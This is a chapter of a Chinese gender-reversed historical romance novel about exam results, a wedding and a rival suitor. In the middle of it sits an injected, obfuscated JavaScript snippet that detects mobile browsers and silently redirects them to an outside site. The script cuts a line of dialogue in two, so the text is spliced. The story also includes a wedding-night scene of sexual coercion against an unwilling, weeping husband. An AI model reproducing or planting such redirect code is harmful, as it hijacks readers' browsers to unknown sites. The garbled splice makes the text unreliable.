14. 第 14 章
作品:《万事胜意》 秋闱放榜这日,正巧是陆翼和林深的大喜日子。
凌爽喝得酩酊大醉,在酒桌上不知自己胡言乱语些什么,就听花翎扯着嗓子在耳边大喊:“中了中了!”
凌爽一把将人推到一边:“好!今日我高中,酒席都算我的!”
花翎重新凑上去:“大小姐说什么呢?这是人家林家的酒席!”
“嚷嚷那么大声干什么?我又没聋!”她再次不耐烦地将人推开,“那我改日再摆,改日大家都来喝酒!“
花翎这才道出实情:“错了大小姐,我说的是林小姐中了!林二小姐中了进士!”
“啊?不是我?那你这么激动?”
凌爽翻了个大大的白眼,不知道花翎在这里鬼叫了半天,有什么意义。
“那我呢?你没看我中没中?”
花翎咽下一口茶水:“奴婢把榜从前到后,从后到前足足看了三遍,就是没看到大小姐你的名字啊!”
“哦。”
其实也是意料之中。
凌爽闷头喝了一口酒,觉得口中的美酒也没什么滋味了。
“好啊!中得好啊!上次见过二姐,我就知道她是个饱读诗书的,以后前途无量啊!”
陆翼还在拍手叫好,沉浸在双喜临门之中。
偏偏今日是她的喜宴,要是平常,凌爽早就把人按在地上揍了。
“好姐妹,你给我介绍的夫家可真行啊!我绝不会忘记你对我的好!”陆翼敬酒,凌爽又连喝了三杯。
喜宴是在景州办的,林家和林家相熟的十几家来了人,并不算大办,毕竟对林家来说,本就不是什么值得宣扬的事情。
等吃过林雅的谢师宴,陆翼打算再带林深回宜州好好地大操大办一场,既然已经嫁做人夫,这些事情林家也不好管。
到洞房的时候,凌爽已经醉得睡过去,根本爬不起来闹洞房。
等了许久的林深还以为今晚能见凌爽的面,谁知道是陆翼一个人进来的。
挑起红盖头,喝下合卺酒,他的眼泪再也止不住。
陆翼见他落泪,有些手忙脚乱:“别哭啊,我知道之前要了你的身子,是委屈了你,你放心,以后你是我的夫郎,我绝对不让你受委屈!”
林深哪里是哭这个,他心里的苦,没人知道。
“这……天色也晚了,不如就歇息吧。”
那天陆翼喝醉了,根本记不清怎么要的人家的身子,后悔莫及。
她今日特意少喝了几杯,就是想清醒着入洞房,不然两次都稀里糊涂的,也太吃亏了,好不容易才取到读书人家的公子,不得好好享受吗?
她伸手就要脱林深的衣裳,林深就往后躲。
“这是怎么了?还闹别扭?”
陆翼心里早就痒痒了,好不容易熬到洞房之夜,绝不肯轻易放过他。
她强扯下男人衣物,不由分说地欺身上去:“好夫郎,那日不是我真正的水平,今日才叫你销魂呢!”
林深流着泪,嘴唇都咬破了,愣是一声都不肯叫出来。
陆翼还想让他吟些艳诗,他自然不肯,陆翼就故意折腾他。
没想到读书人家的公子这么矜持,一声不吭的,这里又没有别人,有什么害臊的?
陆翼愈演愈烈,憋着劲儿非要让林深出声,到最后都将人弄出了血,他才吃痛地叫了几声。
第二天凌爽是在酒桌上醒来的,她气得大骂:“没心肝的奴才,也不知道把小姐我送回床上!”
花翎打盆水过来:“大小姐啊,不是奴婢失职,实在是您不肯下酒桌,后来半夜睡醒发酒疯,下人们都不敢靠近。”
凌爽环顾四周,其他桌子早就被收拾干净,就她这桌上还是残羹剩饭,酒坛也碎了几个,顿时心情更不好了。
“行了,还在这干嘛?回啊。”
林深从下人口中得知,凌爽在酒桌上睡了一夜,第二天还是黑着脸走的,以为她是为他痛心。
然而他不知道,凌爽其实根本没有心。
放榜之后,沈府也忙起来,忙着给沈公子找妻家。
选来选去,沈府君在三甲里挑了个家境贫寒,为人和善的,这人还是景州人士。
这天,就将人请到了府上。
“李举子饱读诗书,一次便高中,实在难得,是我们景州学子的表率,请饮此杯。”沈府君很客气,亲自给李举子倒酒。
李举子受宠若惊,起身接过酒杯。
“大人谬赞,学生自知愚笨,便比他人更刻苦些,本试一次中地者大有人在,绝对称不上什么表率。”
“哎,此言差矣。”沈府君说道,“一次高中之人大多是官宦世家子弟,出身寒门者甚少,我仔细看过,我们景州一次便中的寒门也只有李举子一个,可见平日读书毫不懈怠,将来必定前途无量啊。”
李举子连连作揖:“不过是三甲末流,实在不足为提,府君实在是高看了。”
沈府君见此人如此谦逊,心中更是满意。
家宴之上,甚至直接让李举子隔着屏风与沈惜说了几句话,这目的就十分明显了。
快结束时,李举子也觉察到什么,主动道:“多谢大人款待,学生能与大人交流,实在荣幸,希望下次见面能与大人交流诗书。”
“这是自然。”沈府君趁热打铁道,“不如就约在三日后?”
李举子也断然没有拒绝的道理,一口应下。
林雅的谢师宴上,跟凌爽提起这事:“看来,沈府君是想让李举子做他家公子的赘妻了。”
凌爽皱眉问道:“那李家同意吗?不怕断了香火?”
“李家有三女,长女和次女都已成婚,且长女还生下了长孙,自是不必计较这些。”林雅听说了很多内情,“听闻李家长孙聪慧好学,还没到读书的年纪,就能吟诗百首。若这林举子真攀上了沈府君,定是要将这长孙送到松鹤书院来,到时候的成就恐怕不止三甲,也算是损一人而望全族了。”
凌爽撇撇嘴:“我就不信,寒门还能有这么长远的目光?”
况且,谁会想牺牲自己啊?
林雅用胳膊肘顶顶她:“你真看上那沈公子了?非他不取?”
“就是看上了,非他不取又如何?莫非林姐姐能帮我?”
林雅犯难:“这婚姻之事,向来是父母之命,我能帮上什么忙?还是全凭沈府君作主罢了。”
凌爽兴致缺缺地转过脸,她就知道,要是林雅有办法,也不会取林夫了。
“对了,最近怎么不见你家夫郎?”
林雅竟破天荒地不好意思起来:“他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16479532|185502||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
啊,身子不大舒服,我就让他多休息休息。”
“身子不舒服?怎么个不舒服?”
若是换了旁人,如此关心人家夫郎肯定不合适,可林雅把她当成自家姐妹,也就没避讳。
见旁边没人看向这边,她扭捏地凑到凌爽耳边说:“就是……就是房事做得狠了些,他有些伤着了……”
“啊?”凌爽嘴巴长得能塞下一个鸡蛋,“你什么时候开窍了?不是向来冷落人家吗?”
提起这事,林雅实在不知该怎么说。
“大概是上回落榜过,心理压力太大了,这几年都没给他什么好脸色,现在想起来,也挺对不起我家夫郎的。”
“如今一朝高中,心里一块大石头没了,我感觉浑身都松快了不少,那事上也就起了心思,也苦了我家夫郎。”
凌爽看她这样子,心里气不打一处来。
“你这是不开窍苦了你家夫郎,开窍了也苦了你家夫郎,你家夫郎是药汁子吗?”
林雅推了她一把:“哎呀,你年轻不知事,等你取了夫,就什么都明白了。”
凌爽心里说,我比你明白多了!你家夫郎我也比你更明白!
别人都春风得意,就她一人黯然神伤,真是凄惨。
凌爽又忍不住借酒浇愁起来。
作为松鹤书院的一份子,学子们都在宴上祝贺,沈惜也来了。
他看见凌爽连喝了几杯酒,随口劝道:“凌小姐不必灰心,这次不中还有下次,一次便中的人还是在少数。”
凌爽抬着沉重的头看他,见是沈公子,就借着酒劲道:“我哪里是为科举伤心,全是为了你啊!”
沈惜心中一惊,这旁边还有别人,她怎么能出口这样的话?
他转身欲走,谁知却被凌爽揪住衣袖。
“沈公子你别走,你真的喜欢那个什么李举子吗?她长得黑,模样比我差多了,家里又穷得叮当响,光会念些酸文有什么用?你跟了我,我保证你以后吃香的喝辣的,什么东西都不比别人差!”
在场人被这场闹剧吸引,纷纷看过来,他们可都是些会念酸文的。
“凌小姐!也不看看这里是什么地方!快松开手啊。”沈公子有些急了,又不能扯坏衣裳,自觉很是难堪。
凌爽才不顾及这些:“什么地方?有什么打紧的!你我抱都抱过了,摸也摸过了,现在你娘要把你嫁给别人,我绝对不同意!”
如果这里有一条地缝,沈公子绝对要拼了命钻进去。
当日他落水被救,浑身湿透,昏倒不知道也就罢了,之后每每回忆起来,都觉得十分丢人,根本不愿细想。
如今,凌爽就把什么抱了摸了之类的话语直接当着众人的面说出来,怎能不让人羞愤?
沈惜甚至想,要是现在他能晕过去就好了。
幸好在场者都是知道那天事的人,他们都敬服沈府君,也是要脸面的人,不会把这事大肆宣扬出去。
只是这时候看看戏,还是很解闷的。
事后林雅跟凌爽说起她耍酒疯的情景,还撕坏了沈公子一片衣角,凌爽真想把手伸进喉咙,将已经喝下去的酒掏出来。
真是的,这下不是更惹沈公子反感吗?
“那李举子家住在什么地方?我非要去会会她不可!”